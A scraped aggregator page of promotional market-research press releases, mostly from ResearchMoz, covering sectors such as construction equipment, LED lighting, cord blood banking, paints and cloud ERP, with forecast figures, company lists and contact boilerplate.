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Heavy Construction Equipment Market 2017Summary:Asia-Pacific Heavy Construction Equipment Market Research Report, By Types (Earthmoving Equipment, Material Handling Equipment, Heavy Construction Vehicles, Others (Cranes, Excavator, Dozer)), By applications (Mining & Excavation, Earthmoving, Transportation, Lifting, Material Handling, Others), end users (Oil & Gas Industry, Construction Industry, Military, Mining, Agriculture & Forestry and Others) - Forecast to 2021Report DescriptionThe Market research future provides a detailed analysis of 10 years forecast of Heavy Construction Equipment market research between 2011 and 2021 and it is expected that Heavy Construction Equipment market will register the CAGR of more than 8.2% during the forecast period.Heavy construction equipments are those products of engineering which helps to reduce the manpower and increase the efficiency of the project and it also helps to reduce the time limit. These products have huge demand on global scale but when it comes to Asia Pacifica it holds more than 50% of market share. In terms of figures it has been identified that heavy construction equipment market will reach to more than $100 billion by the year 2020, thus it opens the immense opportunities for those companies which is planning to take entry in this segment.APAC Heavy construction equipment market has been seen a prospective growth in China followed by India, Japan, Singapore and other countries. In recent years demand for construction equipment has been increasing with increasing speed as standard of living of people are increasing, disposable income are increasing, infrastructure is developing and most important people want their own house is forcing the heavy construction equipment market. Economic growth of these regions is also playing very important role in the demand of heavy construction equipment. Government is taking initiative for various services like education, healthcare, public transport, infrastructure and other facilities are also helping the market to grow.Moving ahead, the report offers comprehensive analysis of industry overview of Heavy Construction Equipment which includes market drivers, restrains, opportunities, burning issues, winning imperatives in APAC regions.Request For Sample Report @Nextly, the report covers geographical analysis of APAC region where countries includes China, India, Japan and others. Furthermore, the report has been segmented on the basis ofTypes (Earthmoving Equipment, Material Handling Equipment, Heavy Construction Vehicles, Others (Cranes, Excavator, Dozer)), Applications (Mining & Excavation, Earthmoving, Transportation, Lifting, Material Handling, Others), &end users (Oil & Gas Industry, Construction Industry, Military, Mining, Agriculture & Forestry and Others)The Heavy Construction Equipment market research report provides detail analysis of market in terms of value market. The report also gives the future outlook of the market till 2021. Moreover, on whole region as well as market share in different countries. Lastly, the report provides company profiles of major players in the market.Scope of the ReportThis market research report covers the APAC heavy construction equipment market research report on the basis of types, application, end users and country analysisOn the basis of typesEarthmoving EquipmentMaterial Handling EquipmentHeavy Construction VehiclesOthers (Cranes, Excavator, Dozer)On the basis of applicationsMining & ExcavationEarthmovingTransportationLiftingMaterial HandlingOthersOn the basis of end usersOil & Gas IndustryConstruction IndustryMilitaryMiningAgriculture & Forestry and OthersComplete Report Details @Table of Contents1 INTRODUCTION2 RESEARCH METHODOLOGY3 ASIA-PACIFIC HEAVY CONSTRUCTION EQUIPMENT INDUSTRY: OVERVIEW4 MARKET DYNAMICS5 ASIA-PACIFIC HEAVY CONSTRUCTION EQUIPMENT INDUSTRY: VALUE/SUPPLY CHAIN ANALYSIS6 ASIA-PACIFIC HEAVY CONSTRUCTION EQUIPMENT INDUSTRY: PORTER'S 5 FORCES ANALYSIS7 ASIA-PACIFIC HEAVY CONSTRUCTION EQUIPMENT INDUSTRY: MARKET VALUE & VOLUME FORECAST (2016-2027) (US $ MILLION)8 ASIA-PACIFIC HEAVY CONSTRUCTION EQUIPMENT INDUSTRY: BY PRODUCT TYPE9 ASIA-PACIFIC HEAVY CONSTRUCTION EQUIPMENT INDUSTRY: BY APPLICATION TYPE10 ASIA-PACIFIC HEAVY CONSTRUCTION EQUIPMENT INDUSTRY: BY END USERS TYPE11 ASIA-PACIFIC HEAVY CONSTRUCTION EQUIPMENT INDUSTRY: BY COUNTRY12 COMPANY LANDSCAPE13 COMPANY PROFILE14 MRFR CONCLUSIONContinued.About Us:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR) and Market Research & Consulting Services.MRFR team have the prime objective to provide optimum quality market research and intelligence services to our clients. Our market research studies depending on products, services, technologies, applications, end users, and market players for global, regional, and country level market segments enables our clients to know more consequently do more, which gives them answer for their each and every important question. In order to stay updated with technology and work process of the industryCONTACT US:Market Research FutureOffice No. 528, Amanora ChambersMagarpatta Road, Hadapsar,Pune - 411028Maharashtra, India+1 646 845 9312akash.anand@marketresearchfuture.com
Elevator Safety Gear Sales Global Market Research Report 2017 | Wittur, ThyssenKrupp, SLC Sautter Lift, P.F.B., DYNATECH, Cobianchi Liftteile, Hangzhou Huning

Elevator Safety Gear Sales Market

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Researchmoz added Most up-to-date research on "Global Elevator Safety Gear Sales Market Report 2017" to its huge collection of research reports.In this report, the global Elevator Safety Gear market is valued at USD XX million in 2016 and is expected to reach USD XX million by the end of 2022, growing at a CAGR of XX% between 2016 and 2022.Geographically, this report split global into several key Regions, with sales (K Units), revenue (Million USD), market share and growth rate of Elevator Safety Gear for these regions, from 2012 to 2022 (forecast), coveringUnited StatesChinaEuropeJapanSoutheast AsiaIndiaTo Get Sample Copy of Report visit @Global Elevator Safety Gear market competition by top manufacturers/players, with Elevator Safety Gear sales volume, Price (USD/Unit), revenue (Million USD) and market share for each manufacturer/player; the top players includingWittur (Germany)ThyssenKrupp (Germany)SLC Sautter Lift (Germany)P.F.B. (Italy)DYNATECH (Spain)Cobianchi Liftteile (Switzerland)Hangzhou Huning (China)Shanghai Liftech (China)Ningbo Xinda (China)Dongfang Fuda (China)Tianjin Guotai (China)Ningbo Shenling (China)Ningbo Aodepu (China)On the basis of product, this report displays the production, revenue, price, market share and growth rate of each type, primarily split intoSpeed LimiterSafety GearBufferOtherOn the basis on the end users/applications, this report focuses on the status and outlook for major applications/end users, sales volume, market share and growth rate for each application, includingMallOffice BuildingPublic PlacesOtherTable of ContentsGlobal Elevator Safety Gear Sales Market Report 20171 Elevator Safety Gear Market Overview1.1 Product Overview and Scope of Elevator Safety Gear1.2 Classification of Elevator Safety Gear by Product Category1.2.1 Global Elevator Safety Gear Market Size (Sales) Comparison by Type (2012-2022)1.2.2 Global Elevator Safety Gear Market Size (Sales) Market Share by Type (Product Category) in 20161.2.3 Speed Limiter1.2.4 Safety Gear1.2.5 Buffer1.2.6 Other1.3 Global Elevator Safety Gear Market by Application/End Users1.3.1 Global Elevator Safety Gear Sales (Volume) and Market Share Comparison by Application (2012-2022)1.3.2 Mall1.3.3 Office Building1.3.4 Public Places1.3.5 Other1.4 Global Elevator Safety Gear Market by Region1.4.1 Global Elevator Safety Gear Market Size (Value) Comparison by Region (2012-2022)1.4.2 United States Elevator Safety Gear Status and Prospect (2012-2022)1.4.3 China Elevator Safety Gear Status and Prospect (2012-2022)1.4.4 Europe Elevator Safety Gear Status and Prospect (2012-2022)1.4.5 Japan Elevator Safety Gear Status and Prospect (2012-2022)1.4.6 Southeast Asia Elevator Safety Gear Status and Prospect (2012-2022)1.4.7 India Elevator Safety Gear Status and Prospect (2012-2022)1.5 Global Market Size (Value and Volume) of Elevator Safety Gear (2012-2022)1.5.1 Global Elevator Safety Gear Sales and Growth Rate (2012-2022)1.5.2 Global Elevator Safety Gear Revenue and Growth Rate (2012-2022)Get Complete TOC With Tables and Figures @2 Global Elevator Safety Gear Competition by Players/Suppliers, Type and Application2.1 Global Elevator Safety Gear Market Competition by Players/Suppliers2.1.1 Global Elevator Safety Gear Sales and Market Share of Key Players/Suppliers (2012-2017)2.1.2 Global Elevator Safety Gear Revenue and Share by Players/Suppliers (2012-2017)2.2 Global Elevator Safety Gear (Volume and Value) by Type2.2.1 Global Elevator Safety Gear Sales and Market Share by Type (2012-2017)2.2.2 Global Elevator Safety Gear Revenue and Market Share by Type (2012-2017)2.3 Global Elevator Safety Gear (Volume and Value) by Region2.3.1 Global Elevator Safety Gear Sales and Market Share by Region (2012-2017)2.3.2 Global Elevator Safety Gear Revenue and Market Share by Region (2012-2017)2.4 Global Elevator Safety Gear (Volume) by Application3 United States Elevator Safety Gear (Volume, Value and Sales Price)3.1 United States Elevator Safety Gear Sales and Value (2012-2017)3.1.1 United States Elevator Safety Gear Sales and Growth Rate (2012-2017)3.1.2 United States Elevator Safety Gear Revenue and Growth Rate (2012-2017)3.1.3 United States Elevator Safety Gear Sales Price Trend (2012-2017)3.2 United States Elevator Safety Gear Sales Volume and Market Share by Players3.3 United States Elevator Safety Gear Sales Volume and Market Share by Type3.4 United States Elevator Safety Gear Sales Volume and Market Share by Application4 China Elevator Safety Gear (Volume, Value and Sales Price)4.1 China Elevator Safety Gear Sales and Value (2012-2017)4.1.1 China Elevator Safety Gear Sales and Growth Rate (2012-2017)4.1.2 China Elevator Safety Gear Revenue and Growth Rate (2012-2017)4.1.3 China Elevator Safety Gear Sales Price Trend (2012-2017)4.2 China Elevator Safety Gear Sales Volume and Market Share by Players4.3 China Elevator Safety Gear Sales Volume and Market Share by Type4.4 China Elevator Safety Gear Sales Volume and Market Share by Application5 Europe Elevator Safety Gear (Volume, Value and Sales Price)5.1 Europe Elevator Safety Gear Sales and Value (2012-2017)5.1.1 Europe Elevator Safety Gear Sales and Growth Rate (2012-2017)5.1.2 Europe Elevator Safety Gear Revenue and Growth Rate (2012-2017)5.1.3 Europe Elevator Safety Gear Sales Price Trend (2012-2017)5.2 Europe Elevator Safety Gear Sales Volume and Market Share by Players5.3 Europe Elevator Safety Gear Sales Volume and Market Share by Type5.4 Europe Elevator Safety Gear Sales Volume and Market Share by Application6 Japan Elevator Safety Gear (Volume, Value and Sales Price)6.1 Japan Elevator Safety Gear Sales and Value (2012-2017)6.1.1 Japan Elevator Safety Gear Sales and Growth Rate (2012-2017)6.1.2 Japan Elevator Safety Gear Revenue and Growth Rate (2012-2017)6.1.3 Japan Elevator Safety Gear Sales Price Trend (2012-2017)6.2 Japan Elevator Safety Gear Sales Volume and Market Share by Players6.3 Japan Elevator Safety Gear Sales Volume and Market Share by Type6.4 Japan Elevator Safety Gear Sales Volume and Market Share by ApplicationContinue...About ResearchMozResearchMoz is the one stop online destination to find and buy market research reports & Industry Analysis. We fulfill all your research needs spanning across industry verticals with our huge collection of market research reports. We provide our services to all sizes of organizations and across all industry verticals and markets. Our Research Coordinators have in-depth knowledge of reports as well as publishers and will assist you in making an informed decision by giving you unbiased and deep insights on which reports will satisfy your needs at the best price.ResearchMozState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesEmail: sales@researchmoz.usWebsite @Tel: 866-997-4948 (Us-Canada Toll Free)Tel: +1-518-621-2074Follow us on LinkedIn @
LED Lighting Market Is Expected To Surpass More Than US$ 100 Billion By The End Of Year 2024

LED Lighting Market

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Researchmoz added Most up-to-date research on "Global LED Lighting Market & Forecast By Applications (Residential, Office, Retail/Shop, Hospitality, Industrial, Outdoor and Architectural) Regions (Europe, North America, Asia, Latin America, Middle East & Africa, BRIC) Companies (MLS Co Ltd., Philips Lighting, Osram, Cree Inc., Foshan Electrical & Light)" to its huge collection of research reports.Global LED lighting market is expected to surpass more than US$ 100 Billion by the end of year 2024. The massive transformation of LED lighting from conventional lighting is happening due to advancement of its features like efficiency, durability, Environmental-friendly and cost effectiveness. All these features of LED lighting is widely recognized and adopted by household, government organisation, industrial sector and commercial segment. Global LED lighting market is segmented into seven parts by application: Residential application, Office application, Retail/Shop application, Hospitality application, Industrial application, Outdoor application and Architectural application. The market is also categorized by five regions: Europe, North America, Asia, Latin America and Middle East & Africa. Asia is one of important destination for LED lighting market and has captured highest market share in global LED lighting market.To Get Sample Copy of Report visit @Energy Independence and Climate Change Concern of many Countries enforces towards Paradigm Shift with LEDs LightingRising electricity prices, increasing concern over climate change and great desire of countries to be energy independent are propelling global lighting market into highly-efficient LEDs light sources. In most region of the world, the government has taken significant steps to promote LED lighting like banning incandescent bulb and giving subsidies to the LED lighting manufacturers. Many countries procure LED lighting products like street lighting and several others specialized LEDs lighting for the government organization.Decreasing Price of LEDs make it Affordable and Cost-EffectiveGradual decreasing prices of LEDs lighting over last five year has increased the penetration rate of Global LED lighting market to a great extent and further this trend will continue in anticipated year till 2019. The adoption of LED lighting in several applications like residential, office, industrial, architectural, Retail shop and so on has increased and it is expected that LED lighting industry will outperform in anticipated year. The initial cost of LED lighting is comparatively high to the traditional incandescents, energy-efficient lightbulbs such as halogen incandescents and compact fluorescent lamps (CFLs). But it cost more cheaper in long-run for example typically use of LED lighting can take 25%-80% less energy than traditional incandescent bulbs, thus saving money and can last 3-25 times longer.Renub Research latest study report Global LED Lighting Market & Forecast By Applications (Residential, Office, Retail/Shop, Hospitality, Industrial, Outdoor and Architectural) Regions (Europe, North America, Asia, Latin America, Middle East & Africa, BRIC) Companies (MLS Co Ltd., Philips Lighting, Osram, Cree Inc., Foshan Electrical & Light) provides a detailed and comprehensive insight of the Global LED Lighting Market. This report studies the Global LED lighting market from 7 points.Types of LED Lighting Market- Residential LED Lighting- Office LED Lighting- Retail/Shop LED Lighting- Hospitality LED Lighting- Industrial LED Lighting- Outdoor LED Lighting-- Architectural LED LightingGet Complete TOC With Tables and Figures @Regions Covered in the Report- Europe- North America- Asia- Latin America- Middle East & AfricaBRIC countries covered in the Report- Brazil- Russia- India- ChinaKey Player covered in the Report- MLS Co Ltd.- Philips Lighting- Osram- Cree Inc.- Foshan Electrical & LightScope of the Report- Global LED Lighting Market & Forecast: We have defined global LED lighting market by adding all defined regions. Market historical data taken from 2011 to 2016 and forecast from 2017 to 2024.- Global LED Lighting Market Share: Report provides global LED lighting market share by Application, by Region and by Companies.- Global LED Lighting Market by Application: We have segmented the LED Lighting market into seven applications which are Residential, Office, Retail/Shop, Industrial, Hospitality, Outdoor and Architectural.- Global LED Lighting Market by Region: The report consists of five regions: Europe, North America, Asia, Latin America and Middle East & Africa.- LED Lighting Market by BRIC: We have covered LED Market of BRIC countries which are Brazil, Russia, India and China.- Public Procurement of LED Lighting by European Countries: It has mentioned several European countries government public procurement of LED lighting via GPP (Green Public Procurement) and several initiatives taken to promote LED lighting.- Key Growth Drivers & Challenges: It studies the different factor which helps to grow global LED lighting. We have comprehensively mentioned factors that will hinder the market growth.- Key Players Analysis: We have covered five key players and their Global LED revenue. Apart from sales analysis, we have also covered overview of the company and LED latest development trends.About ResearchMozResearchMoz is the one stop online destination to find and buy market research reports & Industry Analysis. We fulfill all your research needs spanning across industry verticals with our huge collection of market research reports. We provide our services to all sizes of organizations and across all industry verticals and markets. Our Research Coordinators have in-depth knowledge of reports as well as publishers and will assist you in making an informed decision by giving you unbiased and deep insights on which reports will satisfy your needs at the best price.ResearchMozState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesEmail: sales@researchmoz.usWebsite @Tel: 866-997-4948 (Us-Canada Toll Free)Tel: +1-518-621-2074Follow us on LinkedIn @
UCB banking market is expected to grow at a CAGR of 6.1% from 2014 to 2020, to reach USD 19,335.6 million

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Researchmoz added Most up-to-date research on "Global Market Study on UCB Banking: Asia-Pacific to Witness Highest Growth by 2020" to its huge collection of research reports.Umbilical cord blood (UCB) is collected from the umbilical cord of a newborn baby and also retrieved from the placenta after delivery. It is enriched with adult stem cells and these stem cells play a vital role in regulating all biological activities and in developing tissues in the human body. Many types of stem cells are present in UCB including hematopoietic stem cells and mesenchymal stem cells. Hematopoietic stem cells give rise to all the other blood cells. Hematopoietic stem cells are severely damaged in people suffering from bone marrow diseases, malignancies, inherited metabolic disorders, and immunological disorders. Mesenchymal stem cells are involved in the development of tissues such as cartilage, bone, fat, new blood vessels, and cardiac muscles.To Get Sample Copy of Report visit @UCB is used in clinical procedures associated with regenerative medicines. For instance, UCB-derived stem cells are used in hematopoietic stem cell transplantation (HSCT) for the treatment of life-threatening diseases such as leukemia and type I diabetes in children and adults. In addition, UCB is also used in the treatment of diseases such as bone marrow disorders, circulatory diseases, heart problems, neurological diseases, and cartilage disorders.Globally, increasing prevalence of chronic diseases coupled with the emerging field of regenerative medicines is driving the UCB banking market. In addition, various government associations and initiatives are also supporting in the growth of the UCB banking market.However, strict license and accreditation procedures impede the growth of UCB banking market. In addition, high banking cost in private UCB banks is also hampering the growth of UCB banking market. Allogeneic hematopoietic stem cell transplantation and cord tissue storage are some of the major trends in UCB banking market.North America has the largest market for UCB banking. The U.S., followed by Canada, is the largest market for UCB banking in the region. Increasing prevalence of chronic diseases is the key driver of the UCB banking market. In addition, initiatives by various government associations have also led to the increase in awareness about the importance of cord blood donation in the region.In Europe, the UCB banking market is growing due to increased awareness about potential applications of cord blood in the treatment of life-threatening diseases. In addition, increasing number of live births is also playing a vital role in the growth of UCB banking market in Europe. For instance, according to Eurostat, in 2010, 807,271 live births registered in 2010 and the number reached to 812,970 by 2013 in the U.K.. Due to increased awareness about potential of cord blood, newborns family donates and preserves cord blood either in private or public banks in Europe.However, Asia-Pacific is the fastest growing region in the UCB banking market. This is due to increasing prevalence of chronic diseases in the region. In addition, raising awareness about potential applications of cord blood and increasing number of live births are also contributing in the growth of UCB banking market in the region. China has the highest number of live births, followed by India around the world.Get Complete TOC With Tables and Figures @The report provides in-depth analysis and estimation of the UCB market from 2014 to 2020, considering 2014 as the base year for calculation. Additionally, data pertaining to current market dynamics, including market drivers, restraints, trends, and recent developments, has been provided in the report.Some of the major players operating in the UCB banking market:- Cord Blood Registry Systems, Inc.- Cordlife Group Limited.- Cord Blood America, Inc.- NeoStem Inc.- Cryo-Cell International, Inc.- ViaCord.- Esperite NV.- Smart Cells International Ltd.- China Cord Blood Corporation.- OtherThese key market players have been profiled on the basis of attributes such as company overview, recent developments, growth strategies, sustainability, and financial overview.About ResearchMozResearchMoz is the one stop online destination to find and buy market research reports & Industry Analysis. We fulfill all your research needs spanning across industry verticals with our huge collection of market research reports. We provide our services to all sizes of organizations and across all industry verticals and markets. Our Research Coordinators have in-depth knowledge of reports as well as publishers and will assist you in making an informed decision by giving you unbiased and deep insights on which reports will satisfy your needs at the best price.ResearchMozState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesEmail: sales@researchmoz.usWebsite @Tel: 866-997-4948 (Us-Canada Toll Free)Tel: +1-518-621-2074Follow us on LinkedIn @
Global Paints And Coatings Market Is Expected To Grow At A CAGR Of 5.5% During 2014 To 2020, To Reach An Estimated Value Of USD 176.5 Billion

Industrial Paints and Coatings

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Researchmoz added Most up-to-date research on "Global Market Study on Paints and Coatings: Industrial Paints and Coatings to Witness Highest Growth by 2020" to its huge collection of research reports.Paint is any liquid, liquefiable, or mastic composition which when applied to any object in a thin layer, turns or convert to solid film. Paints are commonly used to protect, color and to provide texture to the objects. Paints are available in many colors and types such as watercolor or artificial. Coating is referred to a covering which is applied to the objects with the purpose of decorating or protecting the objects. Coating can be applied to cover the objects partially or completely. Product label on drinks bottles where one side depicts the function of the product and other side has decorative coating in the form of word or images to make the bottles attractive is the best example in current era. Major Industries use thin film coating such as paper, fabric, film, foil or sheet stock to the objects to make it attractive.To Get Sample Copy of Report visit @Based on end-use, the paints and coatings market is segmented into three categories: architectural and decorative; industrial; and marine. Architectural and decorative paints and coatings can be further segmented into water-based and solvent-based. Similarly, industrial paints and coatings can be further classified into water-based, solvent-based, powder, and UV-based.Asia-Pacific leads the global paints and coatings market followed by Europe and North America. In developing countries of Asia-Pacific, Latin America, Eastern Europe and the Middle East, construction of new residential and commercial buildings is at boom and is expected to increase in coming future. Increasing population, growing urbanization and increase in average disposable income are some of the major drivers for the paints and coatings market.According to Housing Active, a U.K.-based magazine, publishing in construction and housing domains, the European Union construction market grew a mere 1.4% in 2011 compared to that in 2010 when the economic crisis in the region was at its peak. For the same year, the public component of non-residential construction declined by 2.5%, while civil engineering and rehabilitation and maintenance activities grew by 0.7% and 1.5% respectively. The private component of the non-residential construction segment increased by 1.5% in 2011 compared to 2010. This decline in the construction industry was one of the key reasons for the declined growth rate of the paints and coatings industry in the regionAsia Pacific was the largest market for paints and coatings in 2013. The increasing population, growing need for houses, and consumer goods and automotives are driving the paints and coatings market in the region. In 2010, China surpassed the U.S. to become the largest passenger car market globally. China has also been focusing on its housing and construction sector due its increasing population. The Chinese government has been inviting public-private partnerships in the recent years for several commercial construction projects in the country.The real estate sector has taken a huge leap forward in India in the last decade on account of increasing per capita income in the country. The increasing urbanization and entry of multinational companies in the region has increased corporate construction activities. However, there remains a large untapped market for all these consumer needs which is expected to grow by 2020 and boost the paints and coatings industry in the region. The change of government in India in 2014 has attracted many neighboring countries to develop trade relations with the country, which is expected to positively boost the commerce in the sub-continent. This is expected to propel the growth rate of paints and coatings industry in India between 2014 and 2020.Get Complete TOC With Tables and Figures @Apart from the large Asian economies, the smaller ones are also witnessing a spurt in construction activities. According to the Australia and New Zealand Banking Group Limited (ANZ), the implementation of a 10-year economic plan (2011  20) in Malaysia known as Economic Transformation Program (ETP) has increased construction activities wherein the private sectors and foreign investors are backed by the government. Similarly, in Philippines, the government announced its public-private partnership strategy in 2010 to facilitate development projects both at local and national levels. In Thailand, after becoming the prime minister, Yingluck Shinawatra announced plans to develop infrastructure in seven years time with an investment of USD 67 billion in 2011.The global paints and coatings industry has moderate degree of competition; however, the industry is moving towards consolidation through large number of mergers and acquisitions taking place in the recent years. Some of the major paints and coatings companies include AkzoNobel N.V., PPG Industries, The Sherwin-Williams Company, RPM International, Valspar Corporation, and Kansai Paint Company.Company Profiles:- AkzoNobel N.V.- PPG Industries, Inc.- The Sherwin-Williams Company- RPM International, Inc.- Valspar Corporation- Kansai Paint Company Limited- Axalta Coating Systems- Henkel AG & Co., KGaA- BASF SE (Badische Anilin- und Soda-Fabrik)- Asian Paints Limited- OtherAbout ResearchMozResearchMoz is the one stop online destination to find and buy market research reports & Industry Analysis. We fulfill all your research needs spanning across industry verticals with our huge collection of market research reports. We provide our services to all sizes of organizations and across all industry verticals and markets. Our Research Coordinators have in-depth knowledge of reports as well as publishers and will assist you in making an informed decision by giving you unbiased and deep insights on which reports will satisfy your needs at the best price.ResearchMozState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesEmail: sales@researchmoz.usWebsite @Tel: 866-997-4948 (Us-Canada Toll Free)Tel: +1-518-621-2074Follow us on LinkedIn @
Global Micro Perforated Films For Packaging Market Is Projected To Expand At A CAGR Of 5.5% To Account For More Than US$ 900 Mn By The End Of 2026

Micro Perforated Films For Packaging Market

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Researchmoz added Most up-to-date research on "Micro Perforated Films For Packaging Market: Bags Likely to Become the Second most Attractive Segment by Packaging Type During the Forecast Period: Global Industry Analysis and Opportunity Assessment 2016-2026" to its huge collection of research reports.Wraps/Rolls packaging type segment to grab majority share of the global micro perforated films for packaging market during the period of assessmentIn terms of value and volume, the wraps/rolls segment dominated the global micro perforated films for packaging market in 2016. The segment is estimated to account for close to 50% share of the global micro perforated films for packaging market by the end of 2026 due to rise in usage of wraps as a convenient source of packaging. The segment is expected to be valued at more than US$ 550 Mn in 2017 and is projected to expand at a CAGR of 5.5%. The segment is stated to account for more than US$ 900 Mn by the end of 2026. The wraps/rolls segment is estimated to create an incremental opportunity of close to US$ 400 Mn and expand 1.7X between 2016 and 2026.To Get Sample Copy of Report visit @Rapid growth of the retail sector and increase in food delivery services are factors likely to fuel the growth of the wraps/rolls segmentIt has been observed that the number of retail outlets such as supermarkets, hyper markets and local stores has increased across the globe over the past few years. The changing lifestyle of people and rapid urbanisation are responsible for the significant growth of the retail and FMCG sector in emerging economies such as the Asia Pacific. Increasing per capita disposable income further helps in boosting the retail sector growth across the globe. All these factors are expected to make a positive impact on the consumption of food products that require wrap/rolls packaging, thus appreciably increasing demand in the wraps/rolls segment over the forecasted period. Shelf life is a crucial decisive factor for end users while selecting packaging films and corresponding compatible equipment. Wraps/rolls packaging enables micro perforated films packaging producers, co-packers and retailers to extend the shelf life of fruits and vegetables, bakery and confectionary, frozen food and ready-to-eat food, and creates ample opportunities for industries to amplify the market share. Micro perforated films also render a visual appeal to the products, which in turn attracts customers. Even a small increase in shelf life, specifically in meat products, is a valuable proposition for engaged industry participants and creates a substantial opportunity for companies to enhance their market footprint, which in turn is likely to fuel the growth of the wraps/rolls segment.Demand for packaged food and beverages has been on the rise owing to consumers getting attracted to features such as portability, single handed use and easy opening property of the product. The use of micro perforated films, which are considered as an economical and convenient method of packaging is expected to grow rapidly over the forecast period owing to customer convenience. Consumers are mainly preferring wraps for packaging as they can be easily opened and closed, which is convenient when it comes to ready-to-eat food and bakery products. This factor is expected to create a positive impact on the wraps/rolls segment over the projected period. Over the past few years consumers are preferring more ready-to-eat and takeaway food, owing to changes in their lifestyle, increase in per capita disposable income and rapid urbanisation in emerging economies. In addition, habits of food consumption of customers have changed rapidly owing to corporate work culture and industrialisation. These changes are observed in emerging economies where more number of food outlets and online food delivery services have mushroomed over the years. Consumers prefer their food products to stay hygienic for a longer period of time; as a result, there is a rising demand for wraps/rolls.Get Complete TOC With Tables and Figures @Wrap/rolls segment is anticipated to register the highest CAGR in the APEJ micro perforated films for packaging market during the period of assessmentIn Latin America, the wraps/rolls segment is expected to be valued in excess of US$ 50 Mn in 2017, expanding at a CAGR of 5.6% over the predicted period. In the APEJ regional market, the segment is estimated to expand at 5.9% CAGR and is likely to account for more than US$ 120 Mn in 2017. In Japan, the segment is anticipated to grab close to 50% market share during 2016-2026. The wraps/rolls segment has better potential during the forecast period in the MEA micro perforated films for packaging market and it is likely to reach more than US$ 60 Mn by the end of 2026.About ResearchMozResearchMoz is the one stop online destination to find and buy market research reports & Industry Analysis. We fulfill all your research needs spanning across industry verticals with our huge collection of market research reports. We provide our services to all sizes of organizations and across all industry verticals and markets. Our Research Coordinators have in-depth knowledge of reports as well as publishers and will assist you in making an informed decision by giving you unbiased and deep insights on which reports will satisfy your needs at the best price.ResearchMozState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesEmail: sales@researchmoz.usWebsite @Tel: 866-997-4948 (Us-Canada Toll Free)Tel: +1-518-621-2074Follow us on LinkedIn @
Global Cloud Based ERP Market Growth Rate Is Expected To Be At 8.30% | Ramco System , Netsuite Inc. ,Salesforce, QAD

Cloud ERP Market

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Researchmoz added Most up-to-date research on "Global Cloud ERP Market: Trends, Opportunities and Forecasts (2016-2021)(By End-User - Small, Medium, Large Companies, By Deployment - Private, Public, Hybrid: By Industry Verticals: By Region - N. America, Europe, APAC: By Country - USA, Australia , Canada, Germany, UK, Japan)" to its huge collection of research reports.The market is driven by surging adoption of cloud based ERP solutions in education and retail along with growing adoption of cloud based services in healthcare industry. In addition to this the growing adoption of cloud based services in SMBs is also one of the main drivers of this market. Moreover the need for enabling on-demand access to computing and large storage facilities which are not provided in traditional IT environments is also facilitating adoption of cloud based services.To Get Sample Copy of Report visit @In terms of segmentation, market is categorized on basis of Region, Deployment model, By Country, By Industry Verticals and By End Users. In terms of region, North America has the fastest adoption rate of cloud based services with maximum market share in United States, while APAC region has more growth opportunities accompanied with huge growth potential in the Australia and Japanese marketThe cloud based ERP market grew at a CAGR 6.38 % in the period 2011-2015 and in the period 2016-2021, the growth rate is expected to be at 8.30%, according to the recent research report published by Azoth Analytics "Global Cloud ERP Market: Trends, Opportunities and Forecasts (2016-2021)". Leading players of the industry include Ramco System , Netsuite Inc. ,Salesforce.com , QAD etc.Scope of the ReportThe report provides coverage by End-Users:Small, Medium, Large EnterprisesThe report provides coverage by Deployment:Private, Public, HybridThe report provides coverage by Industry Verticals:Manufacturing, Financial Services, Healthcare, Retail, Oil and Gas, TransportationThe report provides coverage by Region:North AmericaEuropeAsia PacificGet Complete TOC With Tables and Figures @The report provides coverage by Country:United StatesUKAustraliaCanadaGermanyJapanResearch MethodologyThe objective of the research is to present the historical growth (2010-2015) and the future projections (2016-2021) of the global cloud ERP market (global, regional, country-specific).Historical market trend of Cloud ERP has been figured out through secondary research (associations, annual reports, magazines, journals) and by various paid databases.Extensive primary research was conducted and experts from the industry were interviewed for presenting the dynamics of the industry and future projections.About ResearchMozResearchMoz is the one stop online destination to find and buy market research reports & Industry Analysis. We fulfill all your research needs spanning across industry verticals with our huge collection of market research reports. We provide our services to all sizes of organizations and across all industry verticals and markets. Our Research Coordinators have in-depth knowledge of reports as well as publishers and will assist you in making an informed decision by giving you unbiased and deep insights on which reports will satisfy your needs at the best price.ResearchMozState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesEmail: sales@researchmoz.usWebsite @Tel: 866-997-4948 (Us-Canada Toll Free)Tel: +1-518-621-2074Follow us on LinkedIn @
New Study on Global Orphan Drugs Industry Key Trends, Size, Growth, Shares And Forecast (2017-2021)

Orphan Drugs Market

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Researchmoz added Most up-to-date research on "Global Orphan Drugs Market- Industry Analysis & Outlook (2017-2021)" to its huge collection of research reports.An orphan disease refers to any rare disease which affects a smaller portion of population. Most of the rare diseases are genetic and therefore chronic. Presently, there are around 7000 rare diseases affecting approximately 5-6% of the global population. Half of the population of orphan disease patients is children as most of the genetic orphan diseases occur at birth or childhood.Generally, orphan diseases are considered to be severe, progressive, degenerative, life-threatening or chronically debilitating diseases which can be caused genetically, infectiously or toxically. Despite knowing the causes of orphan diseases, most of these diseases are still non-curable or lack satisfactory treatments. Majority of the genetic orphan diseases are caused by defects in a single gene due to multiple mutations.To Get Sample Copy of Report visit @Orphan drug market is likely to witness a growth in future with the increasing development and approvals of ultra-rare drugs and rising developments in drugs for rare blood disease. The U.S. and Europe are the major contributors to the global orphan drugs market supported by increased numbers of orphan designations. Asia is likely to experience further growth with increasing drug approvals in Japan and improving healthcare facilities.The global orphan drugs market is expected to grow in future due to prolonged orphan drug market exclusivity, increasing sales of prescription drugs, attractive orphan drug policies, rising healthcare expenditure, improving economies and increasing prevalence of chronic diseases. Key trends of this market include progressing drug pipeline, rising treatment options in oncology and rising scope in gene therapy. However, there are some factors which can hinder growth of the market including high costs of drugs, increased competition from generic industry, insufficient disease information & research participants and deficiency of diagnostic systems and trained professionals.The report Global Orphan Drugs Market: Industry Analysis & Outlook (2017-2021) by Koncept Analytics provides an extensive research and detailed analysis of the present market along with future outlook. The report discusses the major growth drivers and challenges of the market, covering the U.S, Europe and Asia along with the global market. The report profiles key players of the market including Roche, Novartis, Bristol-Myers Squibb and Celgene.Get Complete TOC With Tables and Figures @Table of Content1. Overview1.1 Orphan 